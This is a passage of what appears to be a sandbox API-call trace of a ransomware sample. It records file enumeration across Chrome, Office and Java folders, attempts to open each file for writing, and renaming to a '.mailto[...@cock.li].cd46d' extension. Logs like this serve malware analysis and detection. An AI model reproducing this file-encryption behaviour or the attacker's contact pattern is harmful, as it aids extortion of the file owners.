lpNumberOfBytesWritten=0xb2cfdf8, lpOverlapped=0x0 | out: lpBuffer=0x9098d0*, lpNumberOfBytesWritten=0xb2cfdf8*=0x115, lpOverlapped=0x0) returned 1 [0169.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9098d0) returned 1 [0169.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9ed0) returned 1 [0169.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e3b0) returned 1 [0169.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da290) returned 1 [0169.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9457a8) returned 1 [0169.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945690) returned 1 [0169.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945b90) returned 1 [0169.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945550) returned 1 [0169.480] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x172) returned 0x8f6ea0 [0169.480] wcscpy (in: _Dest=0x8f6ea0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" [0169.480] wcscat (in: _Dest=0x8f6ea0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.mailto[2Hamlampampom@cock.li].cd46d" [0169.480] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xb2cfdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0169.480] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x188) returned 0x909700 Thread: id = 5740 os_tid = 0xb10 [0166.832] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x110) returned 0x12c779a8 [0166.832] wcscpy (in: _Dest=0x12c779a8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css" [0166.832] wcscat (in: _Dest=0x12c779a8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\" [0166.832] wcscat (in: _Dest=0x12c779a8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\*" [0166.832] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92b898 [0166.832] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\*", lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82896f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82899680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b0f8 [0167.832] wcscmp (_String1=".", _String2=".") returned 0 [0167.833] FindNextFileW (in: hFindFile=0x93b0f8, lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82896f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82899680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.833] wcscmp (_String1="..", _String2=".") returned 1 [0167.833] wcscmp (_String1="..", _String2="..") returned 0 [0167.833] FindNextFileW (in: hFindFile=0x93b0f8, lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82899680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaae46e00, ftLastWriteTime.dwHighDateTime=0x1cec2fb, nFileSizeHigh=0x0, nFileSizeLow=0x6cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_window.css", cAlternateFileName="CRAW_W~1.CSS")) returned 1 [0167.833] wcscmp (_String1="craw_window.css", _String2=".") returned 1 [0167.833] wcscmp (_String1="craw_window.css", _String2="..") returned 1 [0167.833] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12c) returned 0x909490 [0167.833] wcscpy (in: _Dest=0x909490, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css" [0167.833] wcscat (in: _Dest=0x909490, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\" [0167.833] wcscat (in: _Dest=0x909490, _Source="craw_window.css" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" [0174.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x909490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144c [0174.202] FindNextFileW (in: hFindFile=0x93b0f8, lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82899680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaae46e00, ftLastWriteTime.dwHighDateTime=0x1cec2fb, nFileSizeHigh=0x0, nFileSizeLow=0x6cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_window.css", cAlternateFileName="CRAW_W~1.CSS")) returned 0 [0174.202] FindClose (in: hFindFile=0x93b0f8 | out: hFindFile=0x93b0f8) returned 1 [0174.202] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92b898) returned 1 [0174.202] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c779a8) returned 1 [0174.202] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77bd0) returned 1 Thread: id = 5794 os_tid = 0x1528 [0167.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ARROWS_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\arrows_m.vss")) returned 0x20 [0167.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ARROWS_M.VSS", dwFileAttributes=0x20) returned 0 [0167.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ARROWS_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\arrows_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.164] GetLastError () returned 0x5 [0167.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ARROWS_M.VSS", dwFileAttributes=0x20) returned 0 [0167.164] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae7e8) returned 1 Thread: id = 5795 os_tid = 0x152c [0167.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ARROWS_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\arrows_u.vss")) returned 0x20 [0167.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ARROWS_U.VSS", dwFileAttributes=0x20) returned 0 [0167.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ARROWS_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\arrows_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.166] GetLastError () returned 0x5 [0167.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ARROWS_U.VSS", dwFileAttributes=0x20) returned 0 [0167.166] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acee8) returned 1 Thread: id = 5796 os_tid = 0x1530 [0167.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt.xls")) returned 0x20 [0167.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT.XLS", dwFileAttributes=0x20) returned 0 [0167.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt.xls"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.601] GetLastError () returned 0x5 [0167.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT.XLS", dwFileAttributes=0x20) returned 0 [0167.601] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad8e8) returned 1 Thread: id = 5797 os_tid = 0x1534 [0167.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt_m.vst")) returned 0x20 [0167.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT_M.VST", dwFileAttributes=0x20) returned 0 [0167.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.450] GetLastError () returned 0x5 [0167.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT_M.VST", dwFileAttributes=0x20) returned 0 [0167.450] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ada28) returned 1 Thread: id = 5798 os_tid = 0x1110 [0167.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt_u.vst")) returned 0x20 [0167.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT_U.VST", dwFileAttributes=0x20) returned 0 [0167.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt_u.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.452] GetLastError () returned 0x5 [0167.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT_U.VST", dwFileAttributes=0x20) returned 0 [0167.452] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad488) returned 1 Thread: id = 5800 os_tid = 0x1708 [0167.455] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Abidjan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\abidjan")) returned 0x20 [0168.957] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Abidjan", dwFileAttributes=0x20) returned 0 [0168.958] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Abidjan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\abidjan"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.958] GetLastError () returned 0x5 [0168.958] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Abidjan", dwFileAttributes=0x20) returned 0 [0168.958] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c0f8) returned 1 Thread: id = 5801 os_tid = 0x1710 [0167.455] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Accra" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\accra")) returned 0x20 [0169.495] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Accra", dwFileAttributes=0x20) returned 0 [0169.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Accra" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\accra"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.495] GetLastError () returned 0x5 [0169.495] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Accra", dwFileAttributes=0x20) returned 0 [0169.495] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c710) returned 1 Thread: id = 5802 os_tid = 0x1714 [0167.456] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Addis_Ababa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\addis_ababa")) returned 0x20 [0169.496] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Addis_Ababa", dwFileAttributes=0x20) returned 0 [0169.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Addis_Ababa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\addis_ababa"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.496] GetLastError () returned 0x5 [0169.496] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Addis_Ababa", dwFileAttributes=0x20) returned 0 [0169.496] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0400) returned 1 Thread: id = 5824 os_tid = 0x18fc [0167.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20 [0168.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF", dwFileAttributes=0x20) returned 0 [0168.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.613] GetLastError () returned 0x5 [0168.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF", dwFileAttributes=0x20) returned 0 [0168.613] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c509f0) returned 1 Thread: id = 5825 os_tid = 0x1900 [0167.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20 [0168.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF", dwFileAttributes=0x20) returned 0 [0168.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.669] GetLastError () returned 0x5 [0168.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF", dwFileAttributes=0x20) returned 0 [0168.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c511e8) returned 1 Thread: id = 5826 os_tid = 0x1904 [0167.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0168.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF", dwFileAttributes=0x20) returned 0 [0168.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.668] GetLastError () returned 0x5 [0168.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF", dwFileAttributes=0x20) returned 0 [0168.668] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50a78) returned 1 Thread: id = 5827 os_tid = 0x1908 [0167.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0168.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF", dwFileAttributes=0x20) returned 0 [0168.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.667] GetLastError () returned 0x5 [0168.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF", dwFileAttributes=0x20) returned 0 [0168.667] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8010) returned 1 Thread: id = 5828 os_tid = 0x190c [0167.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0168.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF", dwFileAttributes=0x20) returned 0 [0168.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.666] GetLastError () returned 0x5 [0168.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF", dwFileAttributes=0x20) returned 0 [0168.666] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8ef0) returned 1 Thread: id = 5829 os_tid = 0x1918 [0167.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0168.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF", dwFileAttributes=0x20) returned 0 [0168.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.615] GetLastError () returned 0x5 [0168.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF", dwFileAttributes=0x20) returned 0 [0168.615] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8890) returned 1 Thread: id = 5830 os_tid = 0x191c [0167.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0168.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF", dwFileAttributes=0x20) returned 0 [0168.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.664] GetLastError () returned 0x5 [0168.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF", dwFileAttributes=0x20) returned 0 [0168.664] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8bc0) returned 1 Thread: id = 5831 os_tid = 0x1920 [0167.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0168.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF", dwFileAttributes=0x20) returned 0 [0168.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.672] GetLastError () returned 0x5 [0168.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF", dwFileAttributes=0x20) returned 0 [0168.672] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f70a8) returned 1 Thread: id = 5832 os_tid = 0x1924 [0167.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft 